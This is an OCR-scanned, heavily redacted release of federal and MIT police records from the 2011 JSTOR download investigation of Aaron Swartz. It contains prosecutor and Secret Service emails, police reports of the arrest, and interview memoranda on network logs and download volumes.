From: Heymann, Stephen (USAMA) [maitBIBLBXINC)  Pusdoj.gov]

Sent: , 2011 8:14 AM
Toi(b)(8).(bX7)XC) {BOS)
{b)}(8).(bX{(7)(C) cambridgepolice.org

Subject: Potential Additional Paragraphs for the Selzure Warrant Affidavit .

aT

Please confirm the following today, contacting CERT and MIT as necessary. These are the facts, as | presently
understand them, If any of them should be corrected or expanded, let me know.

TEMS)

Thank you, Steve
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{b)(6).(b}7)(C)

(CID)
From: Heymann suaphen (USAMA)|(B)(6).(b)7XC) Dusdoj gov)
Sent: 2 chruary 28, 2011 2:56 PM
To: b) 6).(b)(7)(0) CiD)
Subject: : Read This One Instead
Thank you.

From|(b)(8).(b)X7)C) [CID) (mait(BXE).BX7 ) B ;
Sent: Monday, February 28, 2011 2:54 PM
To: Heymann, Stephen USAMA (b)8). b)(7)(C) IBOS)
Ccf(b)(6),(b}( |cert.org;((0)6).(b Jeert.0
Subject: Re: Read This One Instead

1855,4hs.go

Stephen:

and | have reviewed the memorandum, No issues from us.
(6)(6).®X7HCY |

Speclal Agent

Qo Hevmann Ei]iiii:i h!“m] QQ!>
To BHB AN D) (mb[)|<ﬂ6>.cbmx7'@(c (BOS)
Sent: Sat Feb 26 07:27:45 2011 ]
Subfect: Read This One Instead

<<JSTOR Memorandum in Suppuort of 6 Disclosure.pdf>> Sorry, forgot to save to .pdf the final typographical
corrections before | sent it to you two. sph

All e-mail to/from this account is subject to official veview and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system. This e-mail ray contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service. 1f you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.

2860



{

(B)(6),(b)Y7)(C) CiD)

From: Heymann, Stephen (USAMA)]i%ﬂsﬁgb}(?)gC) Jusdoj.gov]
Sont: -riday, Cebruary 25, 2011 11:40 Al

To: (LXBY.(BUTNC) [CID)

Subject: RET Secret service - Background Information for] (BX6).(6X7)C)
Thank you.

From{BBLBITNC) FaIb) [ma
Sent: Friday, February 25, 2011 11:34 AM

To: Heymann, Stephen (USAMA)

Subject: Re: Secret Service - Background Information for [BXE).(BX7)(

He has expertise in Windows, Linux, BSD, VMFS (ViMware's file system), and OS X.

pecfal Agen
U.S. Secret Service

(b)(G).(b)(7)(C)i085k)
Mobile)
-200- (Fax)

From: stephen (USAMAE)E).BXTNC)  Dusdol.aoy>
To%(bxsmxmci [CID) ( )

Sent: Fr Feb 25 11:30:47 2011
Subject: RE: Secret Service - Background Information fod(b)(6).(EX7)(C

Does he also have expertise in Linux?

From{(b)(8).(b)(7}C) IcTD) [malltol

Sent: Friday, February 25, 2011 11:27 AM

To: Heymaan, Stephen (USAMA)

Ce(b)(6).(b) bert.org

Subject: Secret Service - Background Information for [(BX6).EYN)(]

Stephen:

Please find the requested background information for [(D)(6).(bX7)(C)  Jhas handled Grand Jury information in ather cases in ather
districts.

[®XEY.NTY_Member of the Technical Staff, CERT

[©YE): ] ET.BNTC) lvorking for CER''s Digital Intelligence and Investigation Directorate (DUID). With over five years
experience in the field of Digital Forensics [(b)(6) has conducted forensic Investigations in civil and criminal litigation in both the
public and private sectors. As a member of the CERT Digital Intclligence and investigation Directorate (DHD), [(bY(6 Jassists CERT's
law enforcement partners [n 8 wide range of digital forensic investigations.

(b)(6) Jholds a number of industry certifications lne Certified Computer Rxaminer (CCE), EnCase Certified Examiner

(EnCE), GIAC Certified Forensic Analyst (QCFA){(b)(B).}s also a member of the International Secicty of Farensic Computer
Examiriers and the Association of Certified Fraud Exammers [RY(B) Jobtained a Bachclor of Science degree from Utica Callege of
Syracuse University in Economic Crime Investigation with a concentration in Computer Security.

(b)(6).(bUTHC)

2861



RTA B BN Ly Ay

Special Agent

3. Sp vice
(LXBL(OXT)  |Desk)
(C) Mobile)
412-268-5226 (Fax)

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information
that is privileged, law enforcement sensitive, or subject lo other disclosure Jimitations, Such information is
loaned to you and should not be further disscminated without the permission of the Secret Service, If you have
received this e-mail in etror, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.

All e-mail to/from this account is subject to official review and is for official use only. Action may be {aken in
response to any inappropriate use of the Secret Service’s e-mail system. This e-mail may contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service. If you have
received this e-mail in error, do not keep, use, disclose, or copy it; rotify the sender immediately and delete it.
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ooaens s

Special Agent
U.S. Sceret Service

(b)(8).(bX7)  Desk)
(C) Mobile)

412-268-5226 (Fax)

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system, This ¢-mail may contain information
that s privileged, law enforcement sensitive, ot subject to other disclosure limitations, Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service, If you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service. If you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it,
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(B)(8).(B)7)C) {1SD)
" |(b)(s).(b)(7)(0) |(BOS)

Sent: 2011 8:40 AM
To: I(b)(ﬁ).(b)(7)(C) ISDY; Extarna|(b)(6).(b) kzambridgepolice.org

Subject: Fw. First Thing Thursday Moming
Attachmentsa: Setzure Warrant Aff. DraR 5-11-10 updated.pdf

[(B)(B).LLX7XC) |

Sent from Blackberry

From: Heymann, Stephen (USAMA)[(B)®).(B)(7)(C) busdol.gov>
b)(G) (b)(7)(C) ___|BOS)

ambridae,
Sent: Wed May 11 16:59:15 2011
Subject: First Thing Thursday Moming

<<Seizure Warrant Aff. DraRt 6-11-10 updated.pdf>> This is an updated version of your proposed afﬁdavit for the

¢ selzure warrant. First thing in the morning on Thursday {we want to get it before the judg 5 OUSA ay
as possible): ere

o))

We will need you aver tn the afterncon to sign it before the judge.

Thanks you, Steve
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(D)(6).(bX7)C) l
IS

)

(b)6),(bX7)(C)
From: BOS)
Sent: 1,20116:51 PM
To: (E)(6) (L) 7HC) (1SD})
Subject: Fw:. First Thing Thursday Moming
Attachments: Seizure Warrant Aff. Draft 5-11-10 updated.pdf
Fyi. Call me on this when you get a chance. Thi.

b)(8).(bX7}C
F (BNEMENTNC) cambridgenolioe.org>
TqbX6).()7)C) (BOS)
Sent: Wed May 11 17:26:28 2011
Subject: Fw: Arst Thing Thursday Moming
(B)(8).(bX7)C)
n (USAMA) ussoj.ouv>

F .
To{(bX8).(R(7)C) BOS)|(bX6).(L)(7)(C)  fisss dhs.auv>

Cc
Sent: Wed May 11 (6:59:15 2011

Subfect: First Thing Thursday Morning

<<Seizure Warrant Aff. Draft 5-11-10 updated.pdf>> This is an updated version of your proposed affidavit for the

seizure warrant. First thing in the morning on Thursday (we want to get it before the jud

as possible):

pe as early in the day
Per EOUSA

(03{5)

We will need you over In the afternoon to sign it before the judge.

Thanks you, Steve
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Main Form Page 1 of |

M.LT. POLICE
CAMBRIDGE, MA
OFFICER REPORT
BEPORT DATH BERORT TYPE GR._ RANK . REVIEW S8TATUS
11000351/5  01/06/201114:20:45  INVESTIGATIONS APPROVED
_ {b)(6),(bXTHC)
Not For Public Rolease Date/Yime Printed; Prl Feb 2§ 1422101 EST 2011 By{ {b)(8),(b)7)CY]
OFFICER REPORT
As Of 01/19/201 10:34.58
NARRATIVE .

On 01/07/11 at about 14:30, T wet with [RISLCKIKC] _ lac the station. [OWMIGIUINC)
had contacted this department on 01/06/11 after hearing fram other students abou ®
avents that touk place in ¥20-557.

[DEIE(Jstatsd that ha entered the §IPB (Student Infarmatien Processing Boerd)
office at W20-557 (84 Massachusetts Ave.) at ahouc[b}BI[Jon 01/06/11. He stated he
sat ta the left of the center tablae, and was alone in the rzom. He stated that
around 13:30, he observed 8 vwhite male enter, This individual asked to use a network

drop. The @mpomced out a natwork drop on the other side of the xoom.
[EEIETTL] stated the individual mat naxt to the sofa and glass messaga board, plugged

.in a white or gray nethook and external hard drive, and began to work on the

i compuker. AL abaut 13:50 [BHYC) ®)V) laoked the individual if he naeded anything, and
told him that he would be leaving shortly, and needesd to lock up. The individual
then left the araa, and secured the office at about 14:00.

described the inddvidusl =z & collega-sgs whits mals, thin, dexk hair worn

ong etragoly, wearing s dark coat and knit cap. On oxnun.umm was shown
a ghoto array,’ and identified suspect Aaxon Swarts as the individual hs seen on
01/06/11 (11000381-4).

http://18.169.0.247/QED//policepartner/common/crimewebvincview/main.jspZegency=ML...  2/25/2011
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—_ THE MIT POLICE

{b)(8).(dX?NC)

Reaceived From:

Date: /

Description of Propesty;__/~ 43 fzxa/s

/ - I?LKaM

Value: § — Seral#,  —

Check one:
Lost Property Stolen Property
Storage “>Zother,
Where Recovered;
When:

Owners Nam'%dm;m Jraa “-gé./""\'?jé-'-
Owners Add _
Owners Signa (b)(8).(b)THC)

Comments: E,c.g__ga z--- % szg

Staple Found Card Here M IT

To Back of this Form
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UNITED STATES GOVERNMENT

Memorandum of interview
MEme  January 14,2011 U.S. Secret Service
Case # 102-775-60071-8

LOCATION sachusetts Avenue, Cambridge MA
(b)(6),(bX7)C)

syBeCr

INTERYIEWED
8 (b)(6),(b)X7)(C) "
™ (BOS)
Ao I(—b)(ﬁ).(b!)(ﬂ(c) fcambridge Police
| MIT Police

{®)(6).(b)7)C)
AUSA Stephen Heymann
(b)(8).{bX7)(C) MIT office of General Counsel
(b)(6). (BY(6).(bX7)C) (b)(6).(bX7XC)

on 01/14/11, SAPO perective /}USA.Iiamnnaw

COUNse ¢ MIT office of General Counsel witf®®)OX7)C) J;n-d
(b)(8)(bX7XC) for MIT Information Service and Technolog) (b)(ﬁ)'c()b)m mit.ed (B)(E).(NTKC)

(

(©)(6).(bX7) [ The tollowing is a summary ot her statements:
(b)(6).(b)
7XC) __linformed the group that an examination of the DHCP logs during the time in September when
JSTOR was reporting the excessive downloads show a computer registered as *‘ghost-laptop” with a
MAC address of 00:23:5a:73:sf:fb and an email address of ghost@mailinator.cor.

rations on 09/24/10, 10/01/10,

b)E),
Detective 2&7{«;) noted that all of the suspicious computer regi
(BXEMENTHC) | confirmed that foot traffic in the

10/08/10 and T27Z4/10 occurred on Friday nights

tu f building 16 would be light during those times.
(b)(6),(b)
(7)C) e an attempt was made to register with the same MAC address as
(b)(6). I stated

tated that on 10/01;
had blocked that MAC address from registering.
dress of

used on 09/24/10; However},’
that on 10/02/10 another attempt was made 10 register on the network with a MAC ac

(bX6).
also stated that at one point on 10/09/11, “ghost-laptop” was registered with a MAC address of
00:23:5a:73: S fc and *ghost-macbook™ was registered with 8 MAC address of 00:17:2:2¢:b0:74 at

the same time.

(b)(8).(0)(7)

(C) also stated that after 12/19/11, the attempts to register on the MIT network for “ghost-laptop”
and “ghost-macbook” changed from attempts to gain an IP address dynamically assigned through the
MIT guest registration process to assighing themselves static IP addresses on the MIT network. This

behavior continued until after Swartz was observed on 01706/11 moving the laptop from Building 16

he machine was registered on the network from the Stratton Student Center.

) d
(b)(6).(b
also stated that on 01/06/11 at approximately 1251 the computer connected to an IP address

registered 10 Amazon’s Elastic Compute Cloud (EC2) service.




(BY(6),(b)(7) l

(C) noted thatS up 0 12/19/10, Swartz obtained IP addresses by using the guest registration to be
assigned an [P ad rough DHCP. From 12/19/10 10 01/06/1 1, Swartz would assign himself a

- ~. - static [P aildres§®XS® Jtheorized that ance Swartz understood the subnet mask of the network

Building 16 was on it would have been easy to assign himself an 1P address that was not being used;

However when he moved the {aptop to the Stratton Student Center on 01/06/11, he connected to a new

switch and went back to obtaining an IP address through DHCP.

Prior to this incident, JSTOR granted access to anyone using a IP address from the MIT network. MIT

has a class A network and owns all ol the sses beginning with 18.
(B)6).(BX7) (b)(6).(b)7)C)
(C) recalled that on 01/03/1 ent him an email telling him that JSTOR informed

her that they had detected abuse from {P address [(£)(6).(0X7HC) |On 01/04/1 I, traced the IP
addresﬂ in the ARP tahle to MAC address 004¢.¢500.¢756. MAC address 004¢.e5a0.¢756

was also assigned IP address{®)X6).(X7) lon the ARP table.[bY8).0) brated that IP address[BXELEXNDC) |
was logged with zero seconds talking on the nctwork{(bX6).(b)|theorized that Swartz established IP

uddresd(b)X6).(BU7X lto communicate with the computer incase the MIT network shut down [P address
(b)(6).{(bX7NC)

(b)(e)@-)‘ B)(6).(6)(7)(C) | .
(7XC) _ Jstated that [P addre was an [P address registered to JSTOR that appeared in the

logs.
(b)6).(b)
THC)  fstated thet early in the moming of 01/04/11 he noticed in the ARP table that the {P address

reported for abuse by JSTOR was active on the switch Gi 8/16 that he knew was in Building 16. The
switch is also listed in the logs M16-004t-sw-entry.mit.edu. 004T refers to the room oumber 4T, the

wire closet where the Acer Aspire one netbook with serial number LUSAX0D001301100E1601 wa
found.{®)6). _|recalled that at approximately 0200 he sent an email td{EX6).0)7) mu{-(b.-——_i_)(s).(b)(7)(c) |
will b<.= swilch the computer committing the abuse was attached to and asked them to find it.
(b)(6).(b)
(7(C) confirmed that the closet was generally kept locked,

[(BX8).(bXINC)

stated that at first Swaniz used guest registration to obtain an [P address but that static [P
address were used [nted(®X6).(0) fconfirmed that soreone with guest registration has full access in and
Eiikotihe network. [P)X©). | stated that MIT border routers do block the Microsoft ports.

ki stated all three registrations Swartz used were variation of ghost with the computer name either
being ghost-macbook or ghost-laptop and the name used for guest registration being either Gene, Gary
ot Gruce.

(b)(8).(b

|7XC)  Litated that based on the logs he reviewed that Swartz must have spoofed his MAC address at

least once. The MAC address used in January {oodc.e5a0.¢756) had an invalid Organizationally

Identifier (OUI).
(b)(6),(bX7)

© stated that the emails Swartz used for guest registration used a service called mailinator.
Mailinator is a service that gives spoofed emails the appearance of legitimate emails.

The packet capture from 01/04/11 identified twg open ports on the Acer Aspire one found in 04T, The
ports that were open were 22 and 8092. _|identified that the service CherryPy was running.

b; i xyPy is a web application framework using the python programming language.

(bX(6),

(

b7) estimated that as of 1714711, MIT had spent 160 man-hours investigating the abuse by Swartz.
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. UNITED STATES GOVERNMENT
Memorandum of interview

DATCAR  Zeptember 18™, 2012 U.S. Secret Service
LICATGN 77 Massachusetts Avenue Cambridge, MA Case # 102-775-60071-S
{b)(6).(0)(7)(C)
IAWEET
INTERVIEWED
(bXG).(E)7)C)
A‘n':'wnmci-‘

S¢ (BOS)
Detectivi®N8.OXXC)  Fambridge Police
AUSA Stephen Heymunn
3 h)io) ( A

(b))(ﬁ).(b)(7)

,-\

On September 18%, 2012, was interviewed at the MIT Genemnl Counsels Office at 77
Massachusetts Avenue in Cambﬁdge, Massachusetts, in reference Boston Fiekl Office case

number 102-775-60 e interview was conducted by Au.naud Cambridge

i Also in atiendance were AUSA Stephen Heymann, AUSA L L b1<
The following is a suramary of his statements:

recnlled that on 01/04/11, be quericd the ARP table for [P address and

1scovered the MAC address 00:4c:e3.20:¢7:56 on Vian 55, [29® Igated that he then searched
¢7:56 using Cisco Discovery Protocol (CDP} and found [PHRHIUXC) Falso on VLan 55. CDP showed
the Iocation to be M16-004t-sw-emry.mil.edu. stated thag ™ O Jwent to that
Jocation and found & computet connected to the switch. e AT Jthen calted [P0 ]
[FFPWRET Jstated that he believed that IO ]'s computer was used 10 Start a packet capture.

stated he arived and the telccommanications closet, a computer was commected to

the switch an 15 01 s computer was vonducting the packet capture. [FIBI0] |stated that he could
not remember any other incident in which a mysterious computer was found connected to the
network m@m staled that it was unusual for a computer to avoid detection by changing its MAC
{lddrc.S\ also stated that it was very rare to track a digital issue to a physical computer.
staled that Nenap was used to scan the computer (o discover what bosts and services were
running on the computer they discovered.

[T Ktated that after the computer was moved the ability to observe packet data stopped. ! |
stated that after the computer was moved he started to look for it by host name. ‘
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(B)(6).(bX7X(C)

(b)(8).(6)7)C)
From:
Sent: hucsday, Qctoher 11, 2012 3:.04 PM
To: (bYB),(OXTHC) |
Subject (B)6).(0 b
Attachments: (b)(8).(bX7)C) 01 9-18-12.docx
(D)(8).(bX7)
On Segtember 18", 2012 (€) was nterviewed at the MIT Generaal Counsels Office at 77

Massachusetts Avenue in Cambridge, Massachusetts, in reference to the Boston field Office case

=6} e interview was conducted by Aeenand Cambridge
Also in attendance were AUSA Stephen Heymann, AUSA [RIELEI]
e following is 3 summary of his statements:

ecalled that on 01/04/11, he queried the ARP table foc P address and
discovered the MAC address 00:4¢:e5:a0:¢7:56 on Vian 55. [P8)__ktated that he then searched

€7:56 using Cisco Discovery Protocof! (COP) and found 0% ©X7)  Jalso on VLan 55. CDP showed the
location to be M16-004t-sw-entry.mit.edu thaJBIRTBINEGT  Jwent to that focation

and found a computer connected to the switch. [¢K®)  ktated that{elo1e) Tthen called [B1®T]
stated that he belleved thatlole1 (/) §'s computer was USEd to start a packet

capture.

X810} ktated that when he arrived and the telecommunications closet, a computer was connected
to the switch and 's computer was conducting the packet capture. [0X8) _ lstated that he
could not remember any ather incident in which a mysterious computer was found connected to
the network.fUN ) ktated that It was unusual for a computer to avoid detection by changlng its
MAC address. [P19) _laiso stated that it was very rare to track a digital Issue to a physical
computer.{UR._'stated that Nmap was used to scan the computer to discover what hosts and
services were running on the computer they discovered.

[OXBL._]stated that after the computer was moved the ability to observe packet dats
stopped.stated that after the computer was moved ha started to look for it by host name.

(bX6).(bX7KC)

USSS Boston

{b)(8).(bUTXC)
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Massachusetts Institute of Technology

Police Department
301 Vassar Strest
Cambridge, MA 02139
617-253-1212
Fax: 617-253-8822

To: Captain
Patro} Commander

From:  Captain [°1® Gi7C) ]
Chief of Staff

Subject: Arrest Suspect Build, 16

Date:  January 6, 2011

Sir;

On this date at approximately 14:05 hours I was traveling on Vassar Street heading to
the STATA garage to retrieve my personal motor vehicle as I was secure for the day. As | was
headed down Vassar [ noticed a W/M travailing in the opposite direction towards Mass. Ave on
a gray bike. This W/M matched the description of 3 suspect this department was seeking in
connection B&E that occurred in the basement of Building 16 during the week of January 3,
2011. Yobserved through my rearview mirror the individual in question make a right tum onto
Mass. Ave headed in the direction of Central Sq. At this time I made a u-turn on Vassar Street in
an attempt to catch up the W/M and get a better look to confirm my suspicion.

As I came to intersection of Mass. and Vassar Street I was stopped due to traffic and a
red light. I could still the individual crossing the rail road tracks continuing on Mags Ave
towards Central 8q. [ proceeded on Vassar and made a right turn onto Mass, Ave maintain
visual contact with this suspect. Once again I was I was stopped by the red light at Albany
Street, [ fully obeyed the traffic control signal as I never lost visual contact with this individual.
As the tumed green | proceed on Mass. Ave operating at a slow speed. Traffic was light and
there no other bicyclist in my path of view. As] entered the Central Sq, area I passed the
individual in question, I was able to get a gaod look at the person operating the bike and his
helmet and back pack. At this time I was positive that it was in fact the person wanted for the
B7E at Building 16. I made this observation from studying several pictures that were in my
possession from a covert camera that was installed in the room that the B&E occurred in,

I then continued to follow (his individual and called Capt. ia cell to jnfonn
him 1 was following the suspect. Capt,[©®1® Jand Secret Service Agent[@XELENN _ fwho
essigned to assist the MIT Police in this investigation left the station and were responding to my
lacation, [ decided to pull ahead of the suspect and stop him and attempt to ascertain his
identify. 1 pulled over on Mass. Ave just beyond Lee Street. AsI exited my cruiser I activated
the blue lights and displayed my wallet badge. I motioned for the individual to stop and he
complied. I then explained that I was a Captain with the MIT Police and wanted to speak with
him. The suspect stated he does not speak to strangers. I was again presented my identificaton
both my badge and picture I-D. The suspect stated the MIT Police are not real cops and he would
not have a conversation with me. At this point the suspect dropped his bike to ground and took
off on foot back in the direction of Lee Street. I gave a brief foot pursuit but the suspect had a
good lead on me. [ then ran back to my cruiser made a u-turn on Mass. Ave and proceeded to
follow the suspect, never loosing visual contact. [ then called Capt\l“‘“”“”’ via cell and gave him

(FiG
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(B)X).(0) I instructed them to
continue straight, ana that the suspect took a left onto Lee Street. I could see the suspect

standing on Lee Street. I stayed on Mass. Ave. continuing to direct Capt. As Capt
reached my position 1 had him take to Lee Strect telling him the snspect was
\! m

valking on the lef} side of Lee Street. Capt.[21%1® bulled ahead of the suspect; both Capt.

d Agen exited their cruiser and called out {o the suspect to stop. The suspect
started to run back in the direction of Mass. Ave. noticing I was in front of him he ran into the
street into a private drivewzy where he was apprehended.

a quick update aud the direction the suspect was fleeing. I coyld.sec a cruiser heading in my
dirsction; Capt. indicated it was him along with Agen
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UNITED STATES GOVERNMENT

| Memorandum of interview
oAmA®  September 13,2012 . U.S. Secret Service
LOCATION; 301 East Liberty Street, Ann Arbor, Ml Case # 102-775-60071-§
I—‘)‘(Sﬁi_mxa BN |
preaviewes L
5 [FOBNO)
m
ATEONE  Detective]®IOBRINC)_| Cambridge Police
AUSA ann

AUSA
(0)(6).(bX7XC)

b)(6).(bX7)(C
On September 13, 2012 m vas interviewed at the JSTOR office at 301 East leeny
Street, Ann Arbor, M, in reference o the Boston Field Office case number 102-775-
interview was conducted by Agennd Cambridge Police Detective] bX8),(bX7XC
Also in attendance were AUSA Stephen Heymann, AUSA I(GIB! ?5]%77@ (b)(8).0)7)C
)] The following is a summary of his statements:

| stated that he was {Gﬁﬁ TBNTIC) Iand that he had worked for JSTOR since 2007.
m tated that he had worked as a soltware engincer, on website operations and as a data
architect. (BB Jstated that in 2010 he was pat of the web operations team that is part of IT.

stated that the system identifies a session with cookies. B |stated that the first time a
user visits JSTOR the user gets a cookie. EICL0] stated that he was able to detect that Swartz used

Curl programming language to manipulate cookies.

ons on 09/25/10 at approximately 1000 stated that at 1800 there was a drop in
activity due to server failure. stated that on 05726/10 at approximately 0800, PDF activity
resumed at 2 high level intil approximately 1600. [RK0).0) fstated that from 0506 on 09/25/10 to 1624
on 09/26/10, IP.add ess E‘Eﬁj bad 1,256, 249 sessions and downloaded 453,570 articles and
562 journals. {2X5.®) also stated that on 10/09/10 from 1453 to 1908 1P address [BRSIBXTICT Jhad
8.515 sessions and downloaded 8,422 articles and 714 joumnals.

@EZEWM that he is able to review a chart of acﬁviz that shows an increase of activity in PDF
)8).(0)

stated that JSTOR had 10 servers in each of their data centers and restartiog a server takes
n 10 and 20 minutes.
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